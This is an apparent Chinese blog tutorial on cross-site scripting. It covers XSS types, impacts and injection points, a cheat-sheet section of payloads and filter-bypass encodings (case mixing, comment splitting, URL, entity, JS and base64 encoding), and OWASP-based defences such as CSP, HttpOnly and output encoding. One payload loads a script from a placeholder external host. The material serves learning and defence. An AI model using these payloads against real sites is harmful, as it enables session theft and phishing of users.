天天看點

Web安全-XSS0x01 簡介0x02 漏洞危害0x03 漏洞檢測0x04 防禦

0x01 簡介

XSS(Cross-site script),跨站腳本,為了避免和CSS混淆,簡寫為XSS。

Web安全-XSS0x01 簡介0x02 漏洞危害0x03 漏洞檢測0x04 防禦

XSS兩個條件

  • 使用者的輸入作為html進行顯示或直接在JS中進行處理
  • 未對使用者的輸入進行校驗、編碼

XSS分類

  • 反射XSS(Reflected XSS,非持久型)

引用Webgoat上圖 ,比較清晰。

惡意使用者發現xss注入點,構造包含惡意代碼的連結,通過一些手段使使用者點選連結并請求伺服器,伺服器傳回并在浏覽器執行惡意代碼(js)。攻擊者達到擷取相關資訊等目的。

反射XSS是一次性的,利用一些社工手段效果驚人,比如垃圾郵件、小廣告等。

Web安全-XSS0x01 簡介0x02 漏洞危害0x03 漏洞檢測0x04 防禦
  • 存儲XSS(Stored XSS,持久型)

和反射XSS相同的是,請求都經過Server端,差別在于XSS payload 存儲在服務端(檔案、DB等)。當使用者通路注入XSS的頁面,腳本執行。

存儲XSS受害範圍更大,常見部落格、評論等功能點。

  • Dom XSS(非持久型)

DOM(Document object model),JS可操作DOM動态更新文檔的内容、結構和樣式。

基于DOM的XSS是基于反射XSS的另一種形式。 這兩者都是通過發送一個帶有反映到浏覽器的輸入的連結來觸發的。 

和反射XSS的差別在于,Payload不需要到達服務端,隻在用戶端處理。

DOM XSS相對比較少見,工作中幾乎沒遇到過。查了下烏雲上漏洞,還是有一些,列舉幾個供擴充閱讀。

中國農業銀行主站DOM-XSS

優酷分享iframe播放器頁面存在dom xss漏洞

國泰證券某站SQL注入&DOM XSS(洩露客戶敏感資訊)

0x02 漏洞危害

  • 盜取使用者Cookie

通過盜取使用者cookie實作會話劫持,httponly無效;

  • 構造Get/Post請求執行惡意操作

js可送出請求,是以通過xss漏洞構造get/post請求完成一些操作,比如修改資料、删除資料、擷取資訊等。

  • XSS釣魚

僞造登入表單,擷取使用者憑證資訊

  • 内網入侵

擴充閱讀:https://www.freebuf.com/articles/web/103097.html

  • XSS蠕蟲

XSS蠕蟲是一種借助Ajax技術實作對Web應用程式中存在的XSS漏洞進行自動化利用傳播的蠕蟲病毒,它可以将一些使用者資料資訊發送給Web應用程式然後再将自身代碼傳遞進入Web應用程式,等到被感染使用者通路Web應用程式時,蠕蟲自身将又開始進行資料發送感染。

百度空間XSS蠕蟲

XSS因為執行JS腳本,危害較大,但是也看具體的漏洞環境,有一些較好的攻擊平台可利用(如 BeEF)。

0x03 漏洞檢測

常見注入點

  • 搜尋框,回顯key
  • 輸入框,回顯使用者資訊
  • 錯誤傳回,回顯使用者輸入
  • 隐藏html元素,回顯使用者輸入
  • 評論、部落格等
  • 其他使用者輸入可回顯的點

注意一點,這裡說的輸入不單單至使用者通過輸入框填寫的資料,也包含下拉框、選擇框等互動的地方,任何從用戶端發往伺服器的資料如果在伺服器回顯,都有可能造成xss問題。

常用Payload

列舉典型的幾個插入點,詳細看後文附件。

  • 在script注入
<script>alert(xss)</script>
<script src=http://xxx.com/xss.js></script>
           
  • html标簽

直接插入script,其他常用的如img、svg,常用js事件函數onload、onclick、onmouseover等

<img src=javascript:alert('xss') />
<img src=1 onload=javascript:alert('xss') />
<img src=1 onload=alert(/123/)/>
<svg src=1 onload=javascript:alert('xss') />
           
  • html标簽屬性

單引号、雙引号閉合标簽屬性,插入js時間函數

’ onload=javascript:alert('xss')
           
  • JS中

分号阻斷,直接寫js

;alert('xss')
           
  • CSS屬性
<table background="javascript:alert('xss')"> //background
<div style="background-image: url(javascript:alert('xss'))"> //background image
<div style="width: expression_r(alert('xss')">  //expression
           

常用工具

商用Web掃描器,如Webinspect、AppScan、AWVS,代碼掃描工具,如Fortify、Checkmarx、Coverity都可以覆寫XSS掃描。

商業工具覆寫漏洞廣,黑盒工具使用時注意提供完整的流量(請求位址、參數)避免漏掃。

工具掃描,逃避不了的一個問題,誤報。

除了Web掃描器,一些XSS平台、XSS fuzzing工具可以利用,詳細參考文末連結。

關于繞過

XSS本身就可以寫一本書,一方面因為玩的就是Html、JS、浏覽器,導緻千變萬化甚至千奇百怪的Payload,另一方面就是繞過技巧了。

為什麼這麼多繞過技巧?

說一個遇到的很好玩的故事。一般報告中,XSS通過彈窗做poc,給出修複建議。有一次就遇到一個非常可愛的開發,黑名單過濾了alert關鍵字。What?這不是跟沒做一樣麼,何況實際利用,一般也不alert彈窗了吧(不排除會彈窗通過社工重定向進行其他利用)。多麼可愛的開發。

不閑扯了,列舉常見的一些繞過技巧,重在記錄思路。詳細的繞過可以 RSnake's: "XSS Cheat Sheet",Freebuf也有牛人做了翻譯的中文版本,參考文末清單。

  • 大小寫、大小寫混合繞過
<sCrIPt>alert(xss)</SCRIPT>
<svg src=1 onload=jAVAsCRipt:alert('xss') />
           
  • 空格、換行繞過
<svg src=1 onload=java Script:alert('xss') />
<svg src=1 onload=java
Script:alert('xss') />
           
  • 注釋符繞過
<IMG src=1 onload="xss:expr/*XSS*/ession(alert('XSS'))">  // 隔斷,繞過關鍵字
​
           
  • 雙尖括号繞過
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
           
  • 無分号、引号繞過
<IMG SRC=javascript:alert('XSS')>
<IMG SRC="javas<!-- -->cript:alert('XSS')">
           
  • URL編碼

http get參數,對特殊字元過濾,使用URL編碼繞過,也可以直接URL全編碼

<IMG SRC=javascript:alert('XSS')>
%3CIMG%20SRC%3Djavascript%3Aalert%28%27XSS%27%29%3E
           
  • Html實體編碼

html實體編碼本身存在的意義是防止與HTML本身語義标記的沖突

html中正常情況隻識别:html10進制,html16進制。

回顯輸出在html中,過濾了script < > / \ http: 等特殊字元

<img src="x" onerror="alert(1)">
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;">
           
  • JS編碼

JS提供了四種字元編碼的政策:

三個八進制數字,如果數字不夠,在前面補零,如a的編碼為\141

兩個十六進制數字,如果數字不夠,在前面補零,如a的編碼為\x61

四個十六進制數字,如果數字不夠,在前面補零,如a的編碼為\u0061

對于一些控制字元,使用特殊的C類型的轉義風格,如\n和\r

當輸入内容回顯在js中,過濾了特殊字元<> ' " & %等

關于編碼繞過,可是試試chrome擴充xss encode和JsFuck,非常神器。

  • base64編碼
<a href="input" target="_blank" rel="external nofollow" >
<iframe src="input">   //過濾了 <> ' " javascript
​
<img src=x onerror=alert(1)>  //payload 
<a href="data:text/html;base64, PGltZyBzcmM9eCBvbmVycm9yPWFsZXJ0KDEpPg==" target="_blank" rel="external nofollow" >test</a> //base64 encode
           

當點選連結時,以data協定解析,頁面以html/text方式解析,編碼為base64,payload還原。

代碼相關

涉及html輸出、js操作html輸出、js跳轉的函數,需格外注意。

如下為個人記錄的一些關鍵字,先記錄,後續慢慢在補充。

API:innerHTML, $(xx).html()
PHP key: echo print 
Java key:System.out.print  println
JS: window.location.href  location.pathname window.print document.write 
           

0x04 防禦

http-only

Cookie在消息頭中被設定為HttpOnly,阻止Javascript直接通路cookies,應對XSS盜取cookie進行會話劫持的風險。

嚴格來說,并不是直接的防護,比較xss還是存在的。不過展現一種縱深防禦的概念。 

CSP

CSP(Content Security Policy),内容安全政策是一個額外的安全層,用于檢測并削弱某些特定類型的攻擊,包括跨站腳本 (XSS) 和資料注入攻擊等。

實際上的防護原理,和httponly類似,通過制定政策限制外部資源的加載,增加利用難度/成本。

詳細可以參考文末連結。

輸入校驗

  • 不信任外部輸入,對外部輸入進行校驗,如資料類型、長度、文法、業務規則等
  • 優先白名單方式,黑名單容易存在校驗不全導緻的繞過
  • 遵循開放安全原則,優先考慮業界成熟的過濾庫,如Owasp Java Encoder API

偷個懶,直接貼OWASP Prevention Rules

Data Type Context Code Sample Defense
String HTML Body

<span>UNTRUSTED DATA </span>

HTML Entity Encoding (rule #1).
String Safe HTML Attributes

<input type="text" name="fname" value="UNTRUSTED DATA ">

Aggressive HTML Entity Encoding (rule #2), Only place untrusted data into a whitelist of safe attributes (listed below), Strictly validate unsafe attributes such as background, id and name.
String GET Parameter

<a href="/site/search?value=UNTRUSTED DATA " target="_blank" rel="external nofollow" >clickme</a>

URL Encoding (rule #5).
String Untrusted URL in a SRC or HREF attribute

<a href="UNTRUSTED URL " target="_blank" rel="external nofollow" >clickme</a> <iframe src="UNTRUSTED URL " />

Canonicalize input, URL Validation, Safe URL verification, Whitelist http and https URL's only (Avoid the JavaScript Protocol to Open a new Window), Attribute encoder.
String CSS Value

html <div style="width: UNTRUSTED DATA ;">Selection</div>

Strict structural validation (rule #4), CSS Hex encoding, Good design of CSS Features.
String Javascript Variable

<script>var currentValue='UNTRUSTED DATA ';</script> <script>someFunction('UNTRUSTED DATA ');</script>

Ensure JavaScript variables are quoted, JavaScript Hex Encoding, JavaScript Unicode Encoding, Avoid backslash encoding (

\"

 or 

\'

 or 

\\

).
HTML HTML Body

<div>UNTRUSTED HTML</div>

HTML Validation (JSoup, AntiSamy, HTML Sanitizer...).
String DOM XSS

<script>document.write("UNTRUSTED INPUT: " + document.location.hash );<script/>

DOM based XSS Prevention Cheat Sheet

輸出編碼

  • 輸出至前端,進行相應的編碼;輸出Html,使用Html實體編碼,輸出至JS,使用JS編碼。
Encoding Type Encoding Mechanism
HTML Entity Encoding Convert 

&

 to 

&amp;

, Convert 

<

 to 

&lt;

, Convert 

>

 to 

&gt;

, Convert 

"

 to 

&quot;

, Convert 

'

 to 

&#x27;

, Convert 

/

 to 

&#x2F;

HTML Attribute Encoding Except for alphanumeric characters, escape all characters with the HTML Entity 

&#xHH;

 format, including spaces. (HH = Hex Value)
URL Encoding Standard percent encoding, see here. URL encoding should only be used to encode parameter values, not the entire URL or path fragments of a URL.
JavaScript Encoding Except for alphanumeric characters, escape all characters with the 

\uXXXX

 unicode escaping format (X = Integer).
CSS Hex Encoding CSS escaping supports 

\XX

 and 

\XXXXXX

. Using a two character escape can cause problems if the next character continues the escape sequence. There are two solutions (a) Add a space after the CSS escape (will be ignored by the CSS parser) (b) use the full amount of CSS escaping possible by zero padding the value.

富文本編輯器

本身支援Html、JS,肯定可以xss。

防禦的話,思路本身沒什麼差別。

  • Jsoup進行過濾
  • 白名單
  • 特殊字元

注:個人總結,轉載請注明。

參考:

https://www.jianshu.com/p/f1de775bc43e

http://www.ruanyifeng.com/blog/2016/09/csp.html

https://github.com/OWASP/CheatSheetSeries/blob/master/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.md

https://github.com/OWASP/owasp-java-encoder/

https://www.owasp.org/index.php/Category:OWASP_AntiSamy_Project

https://www.freebuf.com/author/Black-Hole

https://www.freebuf.com/articles/web/40520.html

https://blog.csdn.net/qq_34444097/article/details/83188208

https://www.cnblogs.com/qyun/p/6623754.html

https://blog.csdn.net/itest_2016/article/details/77650356

https://www.freebuf.com/articles/web/153055.html

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP

https://blog.csdn.net/changhuzhao/article/details/72472025

https://www.jianshu.com/p/32abc12a175a

格式化資料xss繞過

https://brutelogic.com.br/blog/xss-limited-input-formats/

繼續閱讀